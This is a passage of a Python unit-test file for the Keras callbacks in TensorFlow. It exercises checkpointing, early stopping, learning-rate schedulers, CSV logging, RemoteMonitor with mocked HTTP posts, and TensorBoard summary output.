self._get_dummy_resource_for_model_checkpoint_testing() temp_dir = self.get_temp_dir() filepath = os.path.join(temp_dir, 'temp.h5') self.assertFalse(os.path.exists(filepath)) os.mkdir(filepath) self.assertTrue(os.path.exists(filepath)) callback = keras.callbacks.ModelCheckpoint(filepath=filepath) with self.assertRaisesRegexp(IOError, 'Please specify a non-directory ' 'filepath for ModelCheckpoint.'): model.fit(train_ds, epochs=1, callbacks=[callback]) def test_ModelCheckpoint_with_bad_path_placeholders(self): (model, train_ds, callback, filepath) = self._get_dummy_resource_for_model_checkpoint_testing() temp_dir = self.get_temp_dir() filepath = os.path.join(temp_dir, 'chkpt_{epoch:02d}_{mape:.2f}.h5') callback = keras.callbacks.ModelCheckpoint(filepath=filepath) with self.assertRaisesRegexp(KeyError, 'Failed to format this callback ' 'filepath.*'): model.fit(train_ds, epochs=1, callbacks=[callback]) def test_ModelCheckpoint_nonblocking(self): filepath = self.get_temp_dir() # Should only cause a sync block when saving is actually performed. callback = keras.callbacks.ModelCheckpoint(filepath=filepath, save_freq=100) self.assertTrue(callback._supports_tf_logs) model = keras.Sequential([keras.layers.Dense(1)]) cb_list = keras.callbacks.CallbackList([callback], model=model, epochs=1, steps=10, verbose=0) with context.eager_mode(): tensor = ops.convert_to_tensor(1.) def mock_numpy(): raise RuntimeError( 'If this error is seen, ModelCheckpoint is causing a blocking ' 'NumPy conversion even when not checkpointing.') with test.mock.patch.object(tensor, 'numpy', mock_numpy): logs = {'metric': tensor} cb_list.on_train_begin(logs) cb_list.on_epoch_begin(0, logs) cb_list.on_train_batch_begin(0, logs) cb_list.on_train_batch_end(0, logs) cb_list.on_epoch_end(0, logs) cb_list.on_train_end(logs) cb_list.on_test_begin(logs) cb_list.on_test_batch_begin(0, logs) cb_list.on_test_batch_end(0, logs) cb_list.on_test_end(logs) cb_list.on_predict_begin(logs) cb_list.on_predict_batch_begin(logs) cb_list.on_predict_batch_end(logs) cb_list.on_predict_end(logs) def test_ProgbarLogger_verbose_2_nonblocking(self): # Should only cause a sync block on epoch end methods. callback = keras.callbacks.ProgbarLogger(count_mode='steps') self.assertTrue(callback._supports_tf_logs) model = keras.Sequential([keras.layers.Dense(1)]) cb_list = keras.callbacks.CallbackList([callback], model=model, epochs=1, steps=10, verbose=2) with context.eager_mode(): tensor = ops.convert_to_tensor(1.) def mock_numpy(): raise RuntimeError( 'If this error is seen, ModelCheckpoint is causing a blocking ' 'NumPy conversion even when not checkpointing.') with test.mock.patch.object(tensor, 'numpy', mock_numpy): logs = {'metric': tensor} cb_list.on_train_begin(logs) cb_list.on_epoch_begin(0, logs) cb_list.on_train_batch_begin(0, logs) cb_list.on_train_batch_end(0, logs) cb_list.on_test_begin(logs) cb_list.on_test_batch_begin(0, logs) cb_list.on_test_batch_end(0, logs) cb_list.on_test_end(logs) with self.assertRaisesRegexp(RuntimeError, 'NumPy conversion'): # on_epoch_end should still block. cb_list.on_epoch_end(0, logs) cb_list.on_train_end(logs) def test_EarlyStopping(self): with self.cached_session(): np.random.seed(123) (x_train, y_train), (x_test, y_test) = testing_utils.get_test_data( train_samples=TRAIN_SAMPLES, test_samples=TEST_SAMPLES, input_shape=(INPUT_DIM,), num_classes=NUM_CLASSES) y_test = np_utils.to_categorical(y_test) y_train = np_utils.to_categorical(y_train) model = testing_utils.get_small_sequential_mlp( num_hidden=NUM_HIDDEN, num_classes=NUM_CLASSES, input_dim=INPUT_DIM) model.compile( loss='categorical_crossentropy', optimizer='rmsprop', metrics=['acc']) cases = [ ('max', 'val_acc'), ('min', 'val_loss'), ('auto', 'val_acc'), ('auto', 'loss'), ('unknown', 'unknown') ] for mode, monitor in cases: patience = 0 cbks = [ keras.callbacks.EarlyStopping( patience=patience, monitor=monitor, mode=mode) ] model.fit( x_train, y_train, batch_size=BATCH_SIZE, validation_data=(x_test, y_test), callbacks=cbks, epochs=5, verbose=0) def test_EarlyStopping_reuse(self): with self.cached_session(): np.random.seed(1337) patience = 3 data = np.random.random((100, 1)) labels = np.where(data > 0.5, 1, 0) model = keras.models.Sequential((keras.layers.Dense( 1, input_dim=1, activation='relu'), keras.layers.Dense( 1, activation='sigmoid'),)) model.compile( optimizer='sgd', loss='binary_crossentropy', metrics=['accuracy']) weights = model.get_weights() # This should allow training to go for at least `patience` epochs model.set_weights(weights) stopper = keras.callbacks.EarlyStopping(monitor='acc', patience=patience) hist = model.fit(data, labels, callbacks=[stopper], verbose=0, epochs=20) assert len(hist.epoch) >= patience def test_EarlyStopping_with_baseline(self): with self.cached_session(): np.random.seed(1337) baseline = 0.6 (data, labels), _ = testing_utils.get_test_data( train_samples=100, test_samples=50, input_shape=(1,), num_classes=NUM_CLASSES) model = testing_utils.get_small_sequential_mlp( num_hidden=1, num_classes=1, input_dim=1) model.compile( optimizer='sgd', loss='binary_crossentropy', metrics=['acc']) stopper = keras.callbacks.EarlyStopping(monitor='acc', baseline=baseline) hist = model.fit(data, labels, callbacks=[stopper], verbose=0, epochs=20) assert len(hist.epoch) == 1 patience = 3 stopper = keras.callbacks.EarlyStopping(monitor='acc', patience=patience, baseline=baseline) hist = model.fit(data, labels, callbacks=[stopper], verbose=0, epochs=20) assert len(hist.epoch) >= patience def test_EarlyStopping_final_weights_when_restoring_model_weights(self): class DummyModel(object): def __init__(self): self.stop_training = False self.weights = -1 def get_weights(self): return self.weights def set_weights(self, weights): self.weights = weights def set_weight_to_epoch(self, epoch): self.weights = epoch early_stop = keras.callbacks.EarlyStopping(monitor='val_loss', patience=2, restore_best_weights=True) early_stop.model = DummyModel() losses = [0.2, 0.15, 0.1, 0.11, 0.12] # The best configuration is in the epoch 2 (loss = 0.1000). epochs_trained = 0 early_stop.on_train_begin() for epoch in range(len(losses)): epochs_trained += 1 early_stop.model.set_weight_to_epoch(epoch=epoch) early_stop.on_epoch_end(epoch, logs={'val_loss': losses[epoch]}) if early_stop.model.stop_training: break # The best configuration is in epoch 2 (loss = 0.1000), # and while patience = 2, we're restoring the best weights, # so we end up at the epoch with the best weights, i.e. epoch 2 self.assertEqual(early_stop.model.get_weights(), 2) def test_RemoteMonitor(self): if requests is None: self.skipTest('`requests` required to run this test') return None monitor = keras.callbacks.RemoteMonitor() # This will raise a warning since the default address in unreachable: monitor.on_epoch_end(0, logs={'loss': 0.}) def test_LearningRateScheduler(self): with self.cached_session(): np.random.seed(1337) (x_train, y_train), (x_test, y_test) = testing_utils.get_test_data( train_samples=TRAIN_SAMPLES, test_samples=TEST_SAMPLES, input_shape=(INPUT_DIM,), num_classes=NUM_CLASSES) y_test = np_utils.to_categorical(y_test) y_train = np_utils.to_categorical(y_train) model = testing_utils.get_small_sequential_mlp( num_hidden=NUM_HIDDEN, num_classes=NUM_CLASSES, input_dim=INPUT_DIM) model.compile( loss='categorical_crossentropy', optimizer='sgd', metrics=['accuracy']) cbks = [keras.callbacks.LearningRateScheduler(lambda x: 1. / (1. + x))] model.fit( x_train, y_train, batch_size=BATCH_SIZE, validation_data=(x_test, y_test), callbacks=cbks, epochs=5, verbose=0) assert ( float(keras.backend.get_value( model.optimizer.lr)) - 0.2) < keras.backend.epsilon() cbks = [keras.callbacks.LearningRateScheduler(lambda x, lr: lr / 2)] model.compile( loss='categorical_crossentropy', optimizer='sgd', metrics=['accuracy']) model.fit( x_train, y_train, batch_size=BATCH_SIZE, validation_data=(x_test, y_test), callbacks=cbks, epochs=2, verbose=0) assert ( float(keras.backend.get_value( model.optimizer.lr)) - 0.01 / 4) < keras.backend.epsilon() cbks = [ keras.callbacks.LearningRateScheduler( lambda epoch, _: learning_rate_schedule.CosineDecay(0.01, 2) (epoch)) ] model.compile( loss='categorical_crossentropy', optimizer='sgd', metrics=['accuracy']) model.fit( x_train, y_train, batch_size=BATCH_SIZE, validation_data=(x_test, y_test), callbacks=cbks, epochs=2, verbose=0) cosine_decay_np = 0.5 * (1 + np.cos(np.pi * (1 / 2))) decayed_learning_rate = 0.01 * cosine_decay_np assert (float(keras.backend.get_value(model.optimizer.lr)) - decayed_learning_rate) < keras.backend.epsilon() def test_ReduceLROnPlateau(self): with self.cached_session(): np.random.seed(1337) (x_train, y_train), (x_test, y_test) = testing_utils.get_test_data( train_samples=TRAIN_SAMPLES, test_samples=TEST_SAMPLES, input_shape=(INPUT_DIM,), num_classes=NUM_CLASSES) y_test = np_utils.to_categorical(y_test) y_train = np_utils.to_categorical(y_train) def make_model(): random_seed.set_random_seed(1234) np.random.seed(1337) model = testing_utils.get_small_sequential_mlp( num_hidden=NUM_HIDDEN, num_classes=NUM_CLASSES, input_dim=INPUT_DIM) model.compile( loss='categorical_crossentropy', optimizer=gradient_descent.SGD(lr=0.1)) return model # TODO(psv): Make sure the callback works correctly when min_delta is # set as 0. Test fails when the order of this callback and assertion is # interchanged. model = make_model() cbks = [ keras.callbacks.ReduceLROnPlateau( monitor='val_loss', factor=0.1, min_delta=0, patience=1, cooldown=5) ] model.fit( x_train, y_train, batch_size=BATCH_SIZE, validation_data=(x_test, y_test), callbacks=cbks, epochs=2, verbose=0) self.assertAllClose( float(keras.backend.get_value(model.optimizer.lr)), 0.1, atol=1e-4) model = make_model() # This should reduce the LR after the first epoch (due to high epsilon). cbks = [ keras.callbacks.ReduceLROnPlateau( monitor='val_loss', factor=0.1, min_delta=10, patience=1, cooldown=5) ] model.fit( x_train, y_train, batch_size=BATCH_SIZE, validation_data=(x_test, y_test), callbacks=cbks, epochs=2, verbose=2) self.assertAllClose( float(keras.backend.get_value(model.optimizer.lr)), 0.01, atol=1e-4) def test_ReduceLROnPlateau_patience(self): class DummyOptimizer(object): def __init__(self): self.lr = keras.backend.variable(1.0) class DummyModel(object): def __init__(self): self.optimizer = DummyOptimizer() reduce_on_plateau = keras.callbacks.ReduceLROnPlateau( monitor='val_loss', patience=2) reduce_on_plateau.model = DummyModel() losses = [0.0860, 0.1096, 0.1040] lrs = [] for epoch in range(len(losses)): reduce_on_plateau.on_epoch_end(epoch, logs={'val_loss': losses[epoch]}) lrs.append(keras.backend.get_value(reduce_on_plateau.model.optimizer.lr)) # The learning rates should be 1.0 except the last one for lr in lrs[:-1]: self.assertEqual(lr, 1.0) self.assertLess(lrs[-1], 1.0) def test_ReduceLROnPlateau_backwards_compatibility(self): with test.mock.patch.object(logging, 'warning') as mock_log: reduce_on_plateau = keras.callbacks.ReduceLROnPlateau(epsilon=1e-13) self.assertRegexpMatches( str(mock_log.call_args), '`epsilon` argument is deprecated') self.assertFalse(hasattr(reduce_on_plateau, 'epsilon')) self.assertTrue(hasattr(reduce_on_plateau, 'min_delta')) self.assertEqual(reduce_on_plateau.min_delta, 1e-13) def test_CSVLogger(self): with self.cached_session(): np.random.seed(1337) temp_dir = self.get_temp_dir() self.addCleanup(shutil.rmtree, temp_dir, ignore_errors=True) filepath = os.path.join(temp_dir, 'log.tsv') sep = '\t' (x_train, y_train), (x_test, y_test) = testing_utils.get_test_data( train_samples=TRAIN_SAMPLES, test_samples=TEST_SAMPLES, input_shape=(INPUT_DIM,), num_classes=NUM_CLASSES) y_test = np_utils.to_categorical(y_test) y_train = np_utils.to_categorical(y_train) def make_model(): np.random.seed(1337) model = testing_utils.get_small_sequential_mlp( num_hidden=NUM_HIDDEN, num_classes=NUM_CLASSES, input_dim=INPUT_DIM) model.compile( loss='categorical_crossentropy', optimizer=gradient_descent.SGD(lr=0.1), metrics=['accuracy']) return model # case 1, create new file with defined separator model = make_model() cbks = [keras.callbacks.CSVLogger(filepath, separator=sep)] model.fit( x_train, y_train, batch_size=BATCH_SIZE, validation_data=(x_test, y_test), callbacks=cbks, epochs=1, verbose=0) assert os.path.exists(filepath) with open(filepath) as csvfile: dialect = csv.Sniffer().sniff(csvfile.read()) assert dialect.delimiter == sep del model del cbks # case 2, append data to existing file, skip header model = make_model() cbks = [keras.callbacks.CSVLogger(filepath, separator=sep, append=True)] model.fit( x_train, y_train, batch_size=BATCH_SIZE, validation_data=(x_test, y_test), callbacks=cbks, epochs=1, verbose=0) # case 3, reuse of CSVLogger object model.fit( x_train, y_train, batch_size=BATCH_SIZE, validation_data=(x_test, y_test), callbacks=cbks, epochs=2, verbose=0) with open(filepath) as csvfile: list_lines = csvfile.readlines() for line in list_lines: assert line.count(sep) == 4 assert len(list_lines) == 5 output = ' '.join(list_lines) assert len(re.findall('epoch', output)) == 1 os.remove(filepath) def test_stop_training_csv(self): # Test that using the CSVLogger callback with the TerminateOnNaN callback # does not result in invalid CSVs. np.random.seed(1337) tmpdir = self.get_temp_dir() self.addCleanup(shutil.rmtree, tmpdir, ignore_errors=True) with self.cached_session(): fp = os.path.join(tmpdir, 'test.csv') (x_train, y_train), (x_test, y_test) = testing_utils.get_test_data( train_samples=TRAIN_SAMPLES, test_samples=TEST_SAMPLES, input_shape=(INPUT_DIM,), num_classes=NUM_CLASSES) y_test = np_utils.to_categorical(y_test) y_train = np_utils.to_categorical(y_train) cbks = [keras.callbacks.TerminateOnNaN(), keras.callbacks.CSVLogger(fp)] model = keras.models.Sequential() for _ in range(5): model.add(keras.layers.Dense(2, input_dim=INPUT_DIM, activation='relu')) model.add(keras.layers.Dense(NUM_CLASSES, activation='linear')) model.compile(loss='mean_squared_error', optimizer='rmsprop') def data_generator(): i = 0 max_batch_index = len(x_train) // BATCH_SIZE tot = 0 while 1: if tot > 3 * len(x_train): yield (np.ones([BATCH_SIZE, INPUT_DIM]) * np.nan, np.ones([BATCH_SIZE, NUM_CLASSES]) * np.nan) else: yield (x_train[i * BATCH_SIZE: (i + 1) * BATCH_SIZE], y_train[i * BATCH_SIZE: (i + 1) * BATCH_SIZE]) i += 1 tot += 1 i %= max_batch_index history = model.fit_generator(data_generator(), len(x_train) // BATCH_SIZE, validation_data=(x_test, y_test), callbacks=cbks, epochs=20) loss = history.history['loss'] assert len(loss) > 1 assert loss[-1] == np.inf or np.isnan(loss[-1]) values = [] with open(fp) as f: for x in csv.reader(f): # In windows, due to \r\n line ends we may end up reading empty lines # after each line. Skip empty lines. if x: values.append(x) assert 'nan' in values[-1], 'The last epoch was not logged.' @keras_parameterized.run_all_keras_modes(always_skip_v1=True) def test_TerminateOnNaN(self): np.random.seed(1337) (x_train, y_train), (x_test, y_test) = testing_utils.get_test_data( train_samples=TRAIN_SAMPLES, test_samples=TEST_SAMPLES, input_shape=(INPUT_DIM,), num_classes=NUM_CLASSES) y_test = np_utils.to_categorical(y_test) y_train = np_utils.to_categorical(y_train) cbks = [keras.callbacks.TerminateOnNaN()] model = keras.models.Sequential() initializer = keras.initializers.Constant(value=1e5) for _ in range(5): model.add( keras.layers.Dense( 2, input_dim=INPUT_DIM, activation='relu', kernel_initializer=initializer)) model.add(keras.layers.Dense(NUM_CLASSES)) model.compile(loss='mean_squared_error', optimizer='rmsprop') history = model.fit( x_train, y_train, batch_size=BATCH_SIZE, validation_data=(x_test, y_test), callbacks=cbks, epochs=20) loss = history.history['loss'] self.assertEqual(len(loss), 1) self.assertTrue(np.isnan(loss[0])) @unittest.skipIf( os.name == 'nt', 'use_multiprocessing=True does not work on windows properly.') def test_LambdaCallback(self): with self.cached_session(): np.random.seed(1337) (x_train, y_train), (x_test, y_test) = testing_utils.get_test_data( train_samples=TRAIN_SAMPLES, test_samples=TEST_SAMPLES, input_shape=(INPUT_DIM,), num_classes=NUM_CLASSES) y_test = np_utils.to_categorical(y_test) y_train = np_utils.to_categorical(y_train) model = keras.models.Sequential() model.add( keras.layers.Dense( NUM_HIDDEN, input_dim=INPUT_DIM, activation='relu')) model.add(keras.layers.Dense(NUM_CLASSES, activation='softmax')) model.compile( loss='categorical_crossentropy', optimizer='sgd', metrics=['accuracy']) # Start an arbitrary process that should run during model # training and be terminated after training has completed. e = threading.Event() def target(): e.wait() t = threading.Thread(target=target) t.start() cleanup_callback = keras.callbacks.LambdaCallback( on_train_end=lambda logs: e.set()) cbks = [cleanup_callback] model.fit( x_train, y_train, batch_size=BATCH_SIZE, validation_data=(x_test, y_test), callbacks=cbks, epochs=5, verbose=0) t.join() assert not t.is_alive() def test_RemoteMonitor_np_array(self): if requests is None: self.skipTest('`requests` required to run this test') with test.mock.patch.object(requests, 'post') as requests_post: monitor = keras.callbacks.RemoteMonitor(send_as_json=True) a = np.arange(1) # a 1 by 1 array logs = {'loss': 0., 'val': a} monitor.on_epoch_end(0, logs=logs) send = {'loss': 0., 'epoch': 0, 'val': 0} requests_post.assert_called_once_with( monitor.root + monitor.path, json=send, headers=monitor.headers) def test_RemoteMonitor_np_float32(self): if requests is None: self.skipTest('`requests` required to run this test') with test.mock.patch.object(requests, 'post') as requests_post: monitor = keras.callbacks.RemoteMonitor(send_as_json=True) a = np.float32(1.0) # a float32 generic type logs = {'loss': 0., 'val': a} monitor.on_epoch_end(0, logs=logs) send = {'loss': 0., 'epoch': 0, 'val': 1.0} requests_post.assert_called_once_with( monitor.root + monitor.path, json=send, headers=monitor.headers) def test_RemoteMonitorWithJsonPayload(self): if requests is None: self.skipTest('`requests` required to run this test') return None with self.cached_session(): (x_train, y_train), (x_test, y_test) = testing_utils.get_test_data( train_samples=TRAIN_SAMPLES, test_samples=TEST_SAMPLES, input_shape=(INPUT_DIM,), num_classes=NUM_CLASSES) y_test = keras.utils.np_utils.to_categorical(y_test) y_train = keras.utils.np_utils.to_categorical(y_train) model = keras.models.Sequential() model.add( keras.layers.Dense( NUM_HIDDEN, input_dim=INPUT_DIM, activation='relu')) model.add(keras.layers.Dense(NUM_CLASSES, activation='softmax')) model.compile( loss='categorical_crossentropy', optimizer='rmsprop', metrics=['accuracy']) cbks = [keras.callbacks.RemoteMonitor(send_as_json=True)] with test.mock.patch.object(requests, 'post'): model.fit( x_train, y_train, batch_size=BATCH_SIZE, validation_data=(x_test, y_test), callbacks=cbks, epochs=1) def test_progbar_infers_steps(self): x, y = np.ones((10, 1)), np.ones((10, 1)) data = dataset_ops.DatasetV2.from_tensor_slices((x, y)).batch(2) data = data.filter(lambda x, y: True) # Unknown cardinality. progbar = keras.callbacks.ProgbarLogger('steps') model = keras.Sequential([keras.layers.Dense(1)]) model.compile('sgd', 'mse') self.assertIsNone(progbar.target) model.fit(data, epochs=2, callbacks=[progbar]) self.assertEqual(progbar.target, 5) @keras_parameterized.run_all_keras_modes(always_skip_v1=True) def test_callback_passed_floats(self): class MyCallback(keras.callbacks.Callback): def on_batch_end(self, batch, logs=None): assert isinstance(batch, int) assert isinstance(logs['loss'], float) self.on_batch_end_called = True def on_epoch_end(self, batch, logs=None): assert isinstance(batch, int) assert isinstance(logs['loss'], float) self.on_epoch_end_called = True x, y = np.ones((10, 1)), np.ones((10, 1)) model = keras.Sequential([keras.layers.Dense(1)]) model.compile('sgd', 'mse', run_eagerly=testing_utils.should_run_eagerly()) callback = MyCallback() model.fit(x, y, epochs=2, callbacks=[callback]) self.assertTrue(callback.on_batch_end_called) self.assertTrue(callback.on_batch_end_called) @keras_parameterized.run_all_keras_modes(always_skip_v1=True) def test_implements_batch_hooks(self): class MyCallbackWithBatchHooks(keras.callbacks.Callback): def __init__(self): self.train_batches = 0 self.test_batches = 0 self.predict_batches = 0 def on_train_batch_end(self, batch, logs=None): self.train_batches += 1 def on_test_batch_end(self, batch, logs=None): self.test_batches += 1 def on_predict_batch_end(self, batch, logs=None): self.predict_batches += 1 class MyCallbackWithoutBatchHooks(keras.callbacks.Callback): def __init__(self): self.epochs = 0 def on_epoch_end(self, epoch, logs=None): self.epochs += 1 x, y = np.ones((10, 1)), np.ones((10, 1)) model = keras.Sequential([keras.layers.Dense(1)]) model.compile('sgd', 'mse') my_cb = MyCallbackWithBatchHooks() cb_list = keras.callbacks.CallbackList([my_cb], verbose=0) self.assertTrue(cb_list._should_call_train_batch_hooks) self.assertTrue(cb_list._should_call_test_batch_hooks) self.assertTrue(cb_list._should_call_predict_batch_hooks) model.fit(x, y, epochs=2, batch_size=10, callbacks=[my_cb], verbose=0) model.evaluate(x, y, batch_size=10, callbacks=[my_cb], verbose=0) model.predict(x, batch_size=10, callbacks=[my_cb], verbose=0) self.assertEqual(my_cb.train_batches, 2) self.assertEqual(my_cb.test_batches, 1) self.assertEqual(my_cb.predict_batches, 1) my_cb = MyCallbackWithoutBatchHooks() cb_list = keras.callbacks.CallbackList([my_cb], verbose=0) self.assertLen(cb_list.callbacks, 1) self.assertFalse(cb_list._should_call_train_batch_hooks) self.assertFalse(cb_list._should_call_test_batch_hooks) self.assertFalse(cb_list._should_call_predict_batch_hooks) model.fit(x, y, epochs=2, batch_size=10, callbacks=[my_cb], verbose=0) model.evaluate(x, y, batch_size=10, callbacks=[my_cb], verbose=0) model.predict(x, batch_size=10, callbacks=[my_cb], verbose=0) @keras_parameterized.run_all_keras_modes(always_skip_v1=True) def test_implements_batch_hooks_override(self): class MyCallback(keras.callbacks.Callback): def __init__(self, should_run=True): self.should_run = should_run self.train_batches = 0 self.test_batches = 0 self.predict_batches = 0 def on_train_batch_end(self, batch, logs=None): self.train_batches += 1 def on_test_batch_end(self, batch, logs=None): self.test_batches += 1 def on_predict_batch_end(self, batch, logs=None): self.predict_batches += 1 def _implements_train_batch_hooks(self): return self.should_run def _implements_test_batch_hooks(self): return self.should_run def _implements_predict_batch_hooks(self): return self.should_run x, y = np.ones((10, 1)), np.ones((10, 1)) model = keras.Sequential([keras.layers.Dense(1)]) model.compile('sgd', 'mse') my_cb = MyCallback(should_run=True) cb_list = keras.callbacks.CallbackList([my_cb], verbose=0) self.assertTrue(cb_list._should_call_train_batch_hooks) self.assertTrue(cb_list._should_call_test_batch_hooks) self.assertTrue(cb_list._should_call_predict_batch_hooks) model.fit(x, y, epochs=2, batch_size=10, callbacks=[my_cb], verbose=0) model.evaluate(x, y, batch_size=10, callbacks=[my_cb], verbose=0) model.predict(x, batch_size=10, callbacks=[my_cb], verbose=0) self.assertEqual(my_cb.train_batches, 2) self.assertEqual(my_cb.test_batches, 1) self.assertEqual(my_cb.predict_batches, 1) my_cb = MyCallback(should_run=False) cb_list = keras.callbacks.CallbackList([my_cb], verbose=0) self.assertFalse(cb_list._should_call_train_batch_hooks) self.assertFalse(cb_list._should_call_test_batch_hooks) self.assertFalse(cb_list._should_call_predict_batch_hooks) model.fit(x, y, epochs=2, batch_size=10, callbacks=[my_cb], verbose=0) model.evaluate(x, y, batch_size=10, callbacks=[my_cb], verbose=0) model.predict(x, batch_size=10, callbacks=[my_cb], verbose=0) self.assertEqual(my_cb.train_batches, 0) self.assertEqual(my_cb.test_batches, 0) self.assertEqual(my_cb.predict_batches, 0) # A summary that was emitted during a test. Fields: # logdir: str. The logdir of the FileWriter to which the summary was # written. # tag: str. The name of the summary. _ObservedSummary = collections.namedtuple('_ObservedSummary', ('logdir', 'tag')) class _SummaryFile(object): """A record of summary tags and the files to which they were written. Fields `scalars`, `images`, `histograms`, and `tensors` are sets containing `_ObservedSummary` values. """ def __init__(self): self.scalars = set() self.images = set() self.histograms = set() self.tensors = set() def list_summaries(logdir): """Read all summaries under the logdir into a `_SummaryFile`. Args: logdir: A path to a directory that contains zero or more event files, either as direct children or in transitive subdirectories. Summaries in these events must only contain old-style scalars, images, and histograms. Non-summary events, like `graph_def`s, are ignored. Returns: A `_SummaryFile` object reflecting all summaries written to any event files in the logdir or any of its descendant directories. Raises: ValueError: If an event file contains an summary of unexpected kind. """ result = _SummaryFile() for (dirpath, _, filenames) in os.walk(logdir): for filename in filenames: if not filename.startswith('events.out.'): continue path = os.path.join(dirpath, filename) for event in summary_iterator.summary_iterator(path): if not event.summary: # (e.g., it's a `graph_def` event) continue for value in event.summary.value: tag = value.tag # Case on the `value` rather than the summary metadata because # the Keras callback uses `summary_ops_v2` to emit old-style # summaries. See b/124535134. kind = value.WhichOneof('value') container = { 'simple_value': result.scalars, 'image': result.images, 'histo': result.histograms, 'tensor': result.tensors, }.get(kind) if container is None: raise ValueError( 'Unexpected summary kind %r in event file %s:\n%r' % (kind, path, event)) elif kind == 'tensor' and tag != 'keras': # Check for V2 scalar summaries, which have a different PB # structure. if event.summary.value[ 0].metadata.plugin_data.plugin_name == 'scalars': container = result.scalars container.add(_ObservedSummary(logdir=dirpath, tag=tag)) return result @keras_parameterized.run_with_all_model_types @keras_parameterized.run_all_keras_modes(always_skip_v1=True) class TestTensorBoardV2(keras_parameterized.TestCase): def setUp(self): super(TestTensorBoardV2, self).setUp() self.logdir = os.path.join(self.get_temp_dir(), 'tb') self.train_dir = os.path.join(self.logdir, 'train') self.validation_dir = os.path.join(self.logdir, 'validation') def _get_model(self): layers = [ keras.layers.Conv2D(8, (3, 3)), keras.layers.Flatten(), keras.layers.Dense(1) ] model = testing_utils.get_model_from_layers(layers, input_shape=(10, 10, 1)) opt = gradient_descent.SGD(learning_rate=0.001) model.compile( opt, 'mse', run_eagerly=testing_utils.should_run_eagerly()) return model def test_TensorBoard_default_logdir(self): """Regression test for cross-platform pathsep in default logdir.""" os.chdir(self.get_temp_dir()) model = self._get_model() x, y = np.ones((10, 10, 10, 1)), np.ones((10, 1)) tb_cbk = keras.callbacks.TensorBoard() # no logdir specified model.fit( x, y, batch_size=2, epochs=2, validation_data=(x, y), callbacks=[tb_cbk]) summary_file = list_summaries(logdir='.') train_dir = os.path.join('.', 'logs', 'train') validation_dir = os.path.join('.', 'logs', 'validation') self.assertEqual( summary_file.scalars, { _ObservedSummary(logdir=train_dir, tag='epoch_loss'), _ObservedSummary(logdir=validation_dir, tag='epoch_loss'), }) def test_TensorBoard_basic(self): model = self._get_model() x, y = np.ones((10, 10, 10, 1)), np.ones((10, 1)) tb_cbk = keras.callbacks.TensorBoard(self.logdir) model.fit( x, y, batch_size=2, epochs=2, validation_data=(x, y), callbacks=[tb_cbk]) summary_file = list_summaries(self.logdir) self.assertEqual( summary_file.scalars, { _ObservedSummary(logdir=self.train_dir, tag='epoch_loss'), _ObservedSummary(logdir=self.validation_dir, tag='epoch_loss'), }) def test_TensorBoard_across_invocations(self): """Regression test for summary writer resource use-after-free. See: <https://github.com/tensorflow/tensorflow/issues/25707> """ model = self._get_model() x, y = np.ones((10, 10, 10, 1)), np.ones((10, 1)) tb_cbk = keras.callbacks.TensorBoard(self.logdir) for _ in (1, 2): model.fit( x, y, batch_size=2, epochs=2, validation_data=(x, y), callbacks=[tb_cbk]) summary_file = list_summaries(self.logdir) self.assertEqual( summary_file.scalars, { _ObservedSummary(logdir=self.train_dir, tag='epoch_loss'), _ObservedSummary(logdir=self.validation_dir, tag='epoch_loss'), }) def test_TensorBoard_no_spurious_event_files(self): model = self._get_model() x, y = np.ones((10, 10, 10, 1)), np.ones((10, 1)) tb_cbk = keras.callbacks.TensorBoard(self.logdir) model.fit( x, y, batch_size=2, epochs=2, callbacks=[tb_cbk]) events_file_run_basenames = set() for (dirpath, _, filenames) in os.walk(self.logdir): if any(fn.startswith('events.out.') for fn in filenames): events_file_run_basenames.add(os.path.basename(dirpath)) self.assertEqual(events_file_run_basenames, {'train'}) def test_TensorBoard_batch_metrics(self): model = self._get_model() x, y = np.ones((10, 10, 10, 1)), np.ones((10, 1)) tb_cbk = keras.callbacks.TensorBoard(self.logdir, update_freq=1) model.fit( x, y, batch_size=2, epochs=2, validation_data=(x, y), callbacks=[tb_cbk]) summary_file = list_summaries(self.logdir) self.assertEqual( summary_file.scalars, { _ObservedSummary(logdir=self.train_dir, tag='batch_loss'), _ObservedSummary(logdir=self.train_dir, tag='epoch_loss'), _ObservedSummary(logdir=self.validation_dir, tag='epoch_loss'), }, ) def test_TensorBoard_weight_histograms(self): model = self._get_model() x, y = np.ones((10, 10, 10, 1)), np.ones((10, 1)) tb_cbk = keras.callbacks.TensorBoard(self.logdir, histogram_freq=1) model_type = testing_utils.get_model_type() model.fit( x, y, batch_size=2, epochs=2, validation_data=(x, y), callbacks=[tb_cbk]) summary_file = list_summaries(self.logdir) self.assertEqual( summary_file.scalars, { _ObservedSummary(logdir=self.train_dir, tag='epoch_loss'), _ObservedSummary(logdir=self.validation_dir, tag='epoch_loss'), }, ) self.assertEqual( self._strip_layer_names(summary_file.histograms, model_type), { _ObservedSummary(logdir=self.train_dir, tag='bias_0'), _ObservedSummary(logdir=self.train_dir, tag='kernel_0'), }, ) def test_TensorBoard_weight_images(self): model = self._get_model() x, y = np.ones((10, 10, 10, 1)), np.ones((10, 1)) tb_cbk = keras.callbacks.TensorBoard( self.logdir, histogram_freq=1, write_images=True) model_type = testing_utils.get_model_type() model.fit( x, y, batch_size=2, epochs=2, validation_data=(x, y), callbacks=[tb_cbk]) summary_file = list_summaries(self.logdir) self.assertEqual( summary_file.scalars, { _ObservedSummary(logdir=self.train_dir, tag='epoch_loss'), _ObservedSummary(logdir=self.validation_dir, tag='epoch_loss'), }, ) self.assertEqual( self._strip_layer_names(summary_file.histograms, model_type), { _ObservedSummary(logdir=self.train_dir, tag='bias_0'), _ObservedSummary(logdir=self.train_dir, tag='kernel_0'), }, ) self.assertEqual( self._strip_layer_names(summary_file.images, model_type), { _ObservedSummary(logdir=self.train_dir, tag='bias_0/image/0'), _ObservedSummary(logdir=self.train_dir, tag='kernel_0/image/0'), _ObservedSummary(logdir=self.train_dir, tag='kernel_0/image/1'), _ObservedSummary(logdir=self.train_dir, tag='kernel_0/image/2'), }, ) def test_TensorBoard_projector_callback(self): layers = [ keras.layers.Embedding(10, 10, name='test_embedding'), keras.layers.Dense(10, activation='relu'), keras.layers.Dense(1, activation='sigmoid') ] model = testing_utils.get_model_from_layers(layers, input_shape=(10,)) model.compile( optimizer='adam', loss=keras.losses.BinaryCrossentropy(from_logits=True), run_eagerly=testing_utils.should_run_eagerly()) x, y = np.ones((10, 10)), np.ones((10, 10)) tb_cbk = keras.callbacks.TensorBoard( self.logdir, embeddings_freq=1, embeddings_metadata={'test_embedding': 'metadata.tsv'}) model.fit( x, y, batch_size=2, epochs=2, validation_data=(x, y), 